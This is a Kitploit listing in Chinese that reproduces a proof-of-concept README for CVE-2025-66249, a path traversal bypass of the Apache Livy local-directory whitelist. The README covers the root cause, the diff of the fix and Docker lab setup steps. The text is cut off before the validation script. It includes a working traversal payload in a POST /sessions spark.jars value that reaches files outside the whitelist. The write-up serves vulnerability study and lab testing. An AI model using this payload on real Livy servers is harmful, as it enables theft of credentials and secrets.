Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66249-POC — Apache Livy 路径遍历白名单绕过漏洞的 PoC | Kitploit
工具/GitHubGitHub/sid6224/cve-2025-66249-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Apache Livy 路径遍历白名单绕过漏洞的 PoC

查看仓库
26个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-66249 — Apache Livy 路径遍历白名单绕过

CVE Livy Severity CWE Type License Platform Language

仅供教育和安全研究使用。请勿对您不拥有或未获明确书面许可的系统进行测试。→ 完整免责声明


概述

字段详情
CVE IDCVE-2025-66249
严重性重要(CVSS 不适用 — 截至 2026-03-15,NVD 评估待定)
影响版本Apache Livy 0.3.0-incubating 至 0.8.0-incubating — 仅当 livy.file.local-dir-whitelist 设置为非默认值时
修复版本Apache Livy 0.9.0-incubating
CWECWE-22: 路径名对受限目录限制不当('路径遍历')
披露日期2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
报告者Hiroki Egawa(发现者)

漏洞描述

拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交一个 Spark 会话或批处理作业,其中包含精心构造的文件路径配置值,从而逃逸允许的目录白名单。

根本原因 — 白名单检查中的路径遍历绕过(Session.scala)

当配置了 livy.file.local-dir-whitelist 时,Livy 0.8.0 通过调用 Java 的 String.startsWith() 对原始、未规范化的路径进行验证。这种检查可以通过使用 ../ 遍历序列绕过:

/opt/safe-data/../sensitive/secret.txt

原始字符串以 /opt/safe-data 开头,因此检查通过——但路径实际解析为 /opt/sensitive/secret.txt,完全位于白名单目录之外。

触发条件: 仅当 livy.file.local-dir-whitelist 设置为**非默认(非空)**值时才能利用该漏洞。如果白名单为空(默认值),则完全跳过路径验证,该问题不会出现。

影响: 通过 Livy REST API 提交会话的攻击者可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读的任何数据泄露。


受影响的源文件

文件 — Session.scala

存在漏洞的版本(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修复版本(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


源代码 — 克隆命令

两个版本均直接从官方 Apache Livy GitHub 仓库克隆,使用以下确切命令:

仓库: https://github.com/apache/incubator-livy

# 存在漏洞的版本 — 克隆到 ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# 修复版本 — 克隆到 ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
版本标签解析的提交本地路径
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

确切代码差异

修复 — Session.scala:在白名单检查前添加 Paths.get().normalize()

 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

在 v0.8.0 中的影响: 原始字符串的 startsWith 检查可以通过路径遍历载荷绕过。

示例:如果 livy.file.local-dir-whitelist = /opt/safe-data

/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(绕过)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(阻止)

差异通过本地克隆两个标签(见上文)并运行以下命令生成:

diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

攻击向量总结

攻击者(已认证的 REST/JDBC 用户)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← 路径以白名单前缀开头 — String.startsWith() 通过
    ← 但通过 ../ 遍历解析到目录之外
  }
}
    │
    ▼
Livy 0.8.0 — 白名单检查绕过(原始 startsWith,无规范化)
    │
    ▼
Spark 读取文件并分发给执行器
    │
    ▼
攻击者通过作业输出/日志获取文件内容

测试环境

本 PoC 中的所有步骤均已在以下系统上执行并验证:

组件详情
主机操作系统Ubuntu 24.04.4 LTS (Noble Numbat)
内核6.17.0-14-generic x86_64
架构x86_64
总内存15 GiB
Docker 引擎28.2.2
主机 JDKOpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal)
容器基础镜像eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark 版本(两个镜像)3.1.3 with Hadoop 3.2
Livy 版本 — 存在漏洞的镜像0.8.0-incubating
Livy 版本 — 修复镜像0.9.0-incubating

目录结构

CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

概念验证

概述

docker/vulnerable/   →  镜像: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  镜像: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  单一脚本,在两个环境中原样运行

完整的端到端顺序 — 按顺序执行步骤 1 至 4:

步骤 1: 构建存在漏洞的镜像  →  启动容器  →  验证 Livy 启动
步骤 2: 运行 validate.sh     →  确认存在漏洞(攻击 HTTP 201)   →  停止容器
步骤 3: 构建修复镜像        →  启动容器  →  验证 Livy 启动
步骤 4: 运行 validate.sh     →  确认已修复(攻击 HTTP 400)     →  停止容器

注意: docker run 后,Livy 需要大约 15–20 秒才能就绪。 以下所有步骤在进行任何 API 调用前都包含显式的 sleep 20。


步骤 1 — 构建并启动存在漏洞的环境(Livy 0.8.0 + Spark 3.1.3)

文件:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal,Spark 3.1.3,Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — 绑定在 0.0.0.0:8998,本地模式,白名单 = /opt/safe-data

1a. 构建镜像:

docker build -t cve-2025-66249-vulnerable docker/vulnerable/

验证 — 镜像已创建:

docker images cve-2025-66249-vulnerable

预期输出:

REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. 启动容器:

docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

验证 — 容器正在运行:

docker ps --filter name=livy-vulnerable

预期输出:

CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. 等待 Livy 启动,然后验证 REST API:

Livy 需要约 15–20 秒初始化才能开始处理请求。

sleep 20
curl -s http://localhost:8998/sessions

预期输出:

{"from":0,"total":0,"sessions":[]}

1d. 验证容器内的目录布局:

确认白名单中的安全文件存在:

docker exec livy-vulnerable cat /opt/safe-data/safe.txt

预期输出:

This file lives inside the whitelisted directory.

确认敏感文件存在于白名单之外:

docker exec livy-vulnerable cat /opt/sensitive/secret.txt

预期输出:

SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

步骤 2 — 对存在漏洞的环境运行验证

步骤 1 中的漏洞容器必须仍在端口 8998 上运行。

test/validate.sh 测试内容:

下载工具